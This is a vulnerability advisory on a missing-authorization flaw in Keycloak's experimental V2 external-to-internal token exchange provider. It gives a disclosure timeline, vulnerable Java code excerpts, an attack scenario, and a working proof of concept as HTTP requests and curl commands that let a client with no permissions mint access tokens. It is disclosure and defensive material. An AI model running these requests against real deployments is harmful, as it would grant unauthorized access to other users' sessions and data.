Product Version: 26.6.0 (latest)
Severity: Medium
CWE: CWE-862 (Missing Authorization)
Author: Brett Gervasoni
Date: April 15, 2026
Keycloak Bug Ticket: https://github.com/keycloak/keycloak/issues/48104
The V2 external-internal token exchange provider (ExternalToInternalTokenExchangeProvider) omits the fine-grained canExchangeTo authorization check that the V1 implementation enforces. Any confidential client can exchange external IdP tokens for internal Keycloak tokens without the admin having granted exchange permissions to that client IdP pair.
In the Vulnerable Code section, I explain how V1 has the canExchangeTo permission check, but the V2 equivalent function is missing the check. In the Impact section I provide an exploit scenario which will hopefully make the impact clear.
Timeline:
2026-04-15 - Reported to vendor
2026-04-16 - Vendor is removing the functionality (https://github.com/keycloak/keycloak/issues/48104)
2026-04-16 - No CVE as the functionality is an experimental feature, credit provided in the Github Issue.
client_id and client_secret). No special exchange permissions, roles, or per-client configuration are required.TOKEN_EXCHANGE_EXTERNAL_INTERNAL_V2 to be enabled (--features=token-exchange-external-internal:v2). This feature is Type.EXPERIMENTAL and not enabled by default.In short, a rogue client app can exchange a user's SSO token for a access token on another service that the rogue client shouldn't be able to access, such as a protected internal service.
Before diving into the issue details, a general understanding of the token exchange flow is required.
Keycloak uses its built-in Authorization Services (UMA-based policy engine) to control which clients are allowed to perform token exchange with which identity providers. This is a per-IdP, per-client policy — not a global on/off switch.
When an admin enables fine-grained permissions on an identity provider, Keycloak creates:
idp.resource.<idpId>)token-exchange on that resourcetoken-exchange.permission.idp.<idpId>) that references the scopeThe permission starts empty (no policies attached = deny all). The admin then attaches policies to it — typically a "client" policy that lists which client_id values are allowed. Only clients matching an attached policy pass the canExchangeTo check.
At runtime, V1's exchangeExternalToken() calls:
AdminPermissions.management(session, realm).idps().canExchangeTo(client, idpModel)
This evaluates the requesting client's identity against the IdP's token-exchange permission policies. If no resource server exists, no resource exists, no permission exists, or no policies are attached, the result is deny (fail-closed across all four fallback cases in IdentityProviderPermissions.canExchangeTo()).
V2's exchangeExternalToken() never calls canExchangeTo. The entire policy evaluation is skipped.
There is also a second, coarser gate: isStandardTokenExchangeEnabled is a boolean flag on the client's OIDC advanced config. StandardTokenExchangeProvider.supports() checks this flag and rejects clients that haven't opted in. ExternalToInternalTokenExchangeProvider.supports() skips this check — any confidential client qualifies.
Both authorization layers are skipped:
canExchangeTo) — the UMA policy evaluation described above. Admins who grant exchange to Client A but deny it to Client B have no effect under V2.isStandardTokenExchangeEnabled) — clients that haven't been explicitly configured for token exchange can still perform it.When V2 is enabled it takes unconditional priority over V1 (factory order 20 vs 0). There is no way to enable V2 for some clients and keep V1 enforcement for others — all external-internal exchanges in the realm lose both checks.
The exchange mints a full internal access token in the consumer realm:
azp set to the rogue clientUserSessionModel is created (createUserSession() at line 101), indistinguishable from a normal loginimportUserFromExternalIdentity() auto-provisions them — calls session.users().addUser(realm, username) (line 373), sets email/name from the external assertion, and if the IdP has trustEmail=true, marks the email as verifiedA SaaS platform uses Keycloak as its central auth layer. Customers authenticate through their own corporate IdPs (SAML/OIDC federation - e.g. Okta). Each customer's IdP is registered as a brokered identity provider in Keycloak.
The platform has multiple internal microservices registered as confidential clients:
billing-service — handles invoices and payment methodsanalytics-service — reads usage metricsaudit-log-service — append-only audit trailThe admin grants canExchangeTo only to billing-service for the corporate IdPs, because billing needs to take a customer's Okta SSO token and exchange it for a Keycloak token scoped to billing-service to look up that customer's payment profile. analytics-service and audit-log-service are not granted this permission — they receive tokens through other means (e.g., service account grants, or tokens passed down from an API gateway). If they attempt a token exchange, V1 returns 403.
With V1, analytics-service attempting the exchange gets HTTP 403 "Client not allowed to exchange". No token is issued.
With V2 enabled, a compromised analytics-service (e.g., a supply chain compromise in one of its dependencies) can take any customer's SSO token that passes through the platform as a bearer token and exchange it at the consumer realm. It gets a consumer-realm token with azp: analytics-service, scoped to whatever roles/permissions that client has. The attacker now has authenticated access to every customer's analytics data — using a token the system treats as a legitimate analytics-service session.
To make the request, the attacker is using the client credentials of the rogue app (likely identified from having access to the rogue app itself). In this case, the rogue service being analytics-service uses its own client_id + client_secret (which it already has for normal operations) combined with an external SSO token it sees legitimately in the request chain. The canExchangeTo model exists to enforce least-privilege between services — V2 collapses that boundary.
TOKEN_EXCHANGE_EXTERNAL_INTERNAL_V2 must be enabled. It is Type.EXPERIMENTAL and off by default.openid scope.client_id + client_secret) for any confidential client in the consumer realm. This is not a stolen credential — the rogue client uses its own.V1 (AbstractTokenExchangeProvider) enforces the canExchangeTo permission check before processing the exchange:
// services/src/main/java/org/keycloak/protocol/oidc/tokenexchange/AbstractTokenExchangeProvider.java#L283-L314
protected Response exchangeExternalToken(String subjectIssuer, String subjectToken) {
ExternalExchangeContext externalExchangeContext = this.locateExchangeExternalTokenByAlias(subjectIssuer);
if (externalExchangeContext == null) { /* ... error ... */ }
if (!AdminPermissions.management(session, realm).idps().canExchangeTo(client, externalExchangeContext.idpModel())) { // [1] V1 checks permission
event.detail(Details.REASON, "client not allowed to exchange for requested_issuer");
event.error(Errors.NOT_ALLOWED);
throw new CorsErrorResponseException(cors, OAuthErrorException.ACCESS_DENIED,
"Client not allowed to exchange", Response.Status.FORBIDDEN);
}
BrokeredIdentityContext context = externalExchangeContext.provider().exchangeExternal(this, this.context);
// ... proceeds with exchange ...
}
V2 (ExternalToInternalTokenExchangeProvider) overrides this method and removes the check entirely:
// services/src/main/java/org/keycloak/protocol/oidc/tokenexchange/ExternalToInternalTokenExchangeProvider.java#L85-L111
protected Response exchangeExternalToken(String subjectIssuer, String subjectToken) {
ExternalExchangeContext externalExchangeContext = this.locateExchangeExternalTokenByAlias(subjectIssuer);
if (externalExchangeContext == null) { /* ... error ... */ }
// [2] NO canExchangeTo check — authorization bypassed
BrokeredIdentityContext context = externalExchangeContext.provider().exchangeExternal(this, this.context);
// ... proceeds with exchange ...
}
Additionally, the V2 supports() method skips the per-client isStandardTokenExchangeEnabled() check that the standard V2 provider enforces:
// services/src/main/java/org/keycloak/protocol/oidc/tokenexchange/ExternalToInternalTokenExchangeProvider.java#L46-L49
@Override
public boolean supports(TokenExchangeContext context) {
return (isExternalInternalTokenExchangeRequest(context)); // [3] No client-level gate
}
Compare with StandardTokenExchangeProvider.supports():
// services/src/main/java/org/keycloak/protocol/oidc/tokenexchange/StandardTokenExchangeProvider.java#L94-L97
if(!OIDCAdvancedConfigWrapper.fromClientModel(context.getClient()).isStandardTokenExchangeEnabled()) {
context.setUnsupportedReason("Standard token exchange is not enabled for the requested client");
return false;
}
The V2 factory has order=20, ensuring it takes priority over V1 (order=0) when both are enabled:
// services/src/main/java/org/keycloak/protocol/oidc/tokenexchange/ExternalToInternalTokenExchangeProviderFactory.java#L68-L71
@Override
public int order() {
// Bigger priority than V1, so it has preference if both V1 and V2 enabled
return 20;
}
The provider is selected at runtime via highest-order-first iteration in TokenExchangeGrantType:
// services/src/main/java/org/keycloak/protocol/oidc/grants/TokenExchangeGrantType.java#L65-L69
TokenExchangeProvider tokenExchangeProvider = session.getKeycloakSessionFactory()
.getProviderFactoriesStream(TokenExchangeProvider.class)
.sorted((f1, f2) -> f2.order() - f1.order()) // highest order first
.map(f -> session.getProvider(TokenExchangeProvider.class, f.getId()))
.filter(p -> p.supports(exchange))
.findFirst()
The token exchange request requires two things: the rogue client's own credentials (client_id + client_secret) and an external IdP token (subject_token). The rogue client already has both — its own credentials are in its server config (needed for normal auth operations), and the external token is typically forwarded as a bearer token through the service call chain. The canExchangeTo permission is the boundary between "I can see this token" and "I can mint my own session from it." V2 removes that boundary.
Confirmed on Keycloak 26.6.0 running with --features=token-exchange-external-internal:v2.
Setup:
- provider realm: OIDC provider with consumer-broker client and testuser user
- consumer realm: OIDC IdP provider-idp brokered to the provider realm (with introspection endpoint configured)
- rogue-client: confidential client in consumer realm with zero token exchange permissions
POST /realms/provider/protocol/openid-connect/token HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
client_id=consumer-broker&client_secret=broker-secret&username=testuser&password=testpass&grant_type=password&scope=openid
POST /realms/consumer/protocol/openid-connect/token HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
client_id=rogue-client&client_secret=rogue-secret&grant_type=urn:ietf:params:oauth:grant-type:token-exchange&subject_token=<PROVIDER_ACCESS_TOKEN>&subject_token_type=urn:ietf:params:oauth:token-type:access_token&subject_issuer=provider-idp
Response (HTTP 200 — exchange succeeds returning an access token):
{
"access_token": "<CONSUMER_REALM_TOKEN>",
"token_type": "Bearer",
"expires_in": 300,
"scope": "email profile"
}
Decoded consumer token claims:
{"exp":1776231601,...,"iss":"http://localhost:8080/realms/consumer","aud":"account",...,"azp":"rogue-client","sid":"...","acr":"1","allowed-origins":["*"],"realm_access":{"roles":["offline_access","uma_authorization","default-roles-consumer"]},"resource_access":{"account":{"roles":["manage-account","manage-account-links","view-profile"]}},"scope":"email profile","email_verified":true,"name":"Test User","preferred_username":"testuser","given_name":"Test","family_name":"User","email":"[email protected]"}
Curl command for a quick reproduction:
TOKEN=$(curl -s http://localhost:8080/realms/provider/protocol/openid-connect/token \
-d 'client_id=consumer-broker&client_secret=broker-secret&username=testuser&password=testpass&grant_type=password&scope=openid' \
| jq -r .access_token) && \
curl -s http://localhost:8080/realms/consumer/protocol/openid-connect/token \
-d "client_id=rogue-client" \
-d "client_secret=rogue-secret" \
-d "grant_type=urn:ietf:params:oauth:grant-type:token-exchange" \
-d "subject_token=$TOKEN" \
-d "subject_token_type=urn:ietf:params:oauth:token-type:access_token" \
-d "subject_issuer=provider-idp"
Expected response:
{"access_token":"...
Same request without subject_issuer to trigger V1 code path:
POST /realms/consumer/protocol/openid-connect/token HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
client_id=rogue-client&client_secret=rogue-secret&grant_type=urn:ietf:params:oauth:grant-type:token-exchange&subject_token=<PROVIDER_ACCESS_TOKEN>&subject_token_type=urn:ietf:params:oauth:token-type:access_token
Response (HTTP 400 — correctly denied):
{
"error": "invalid_request",
"error_description": "Standard token exchange is not enabled for the requested client"
}
V2 bypasses authorization. V1 enforces it.
Curl command for reproduction:
TOKEN=$(curl -s http://localhost:8080/realms/provider/protocol/openid-connect/token \
-d 'client_id=consumer-broker&client_secret=broker-secret&username=testuser&password=testpass&grant_type=password&scope=openid' \
| jq -r .access_token) && \
curl -s http://localhost:8080/realms/consumer/protocol/openid-connect/token \
-d "client_id=rogue-client" \
-d "client_secret=rogue-secret" \
-d "grant_type=urn:ietf:params:oauth:grant-type:token-exchange" \
-d "subject_token=$TOKEN" \
-d "subject_token_type=urn:ietf:params:oauth:token-type:access_token"
Expected response:
{"error":"invalid_request","error_description":"Standard token exchange is not enabled for the requested client"}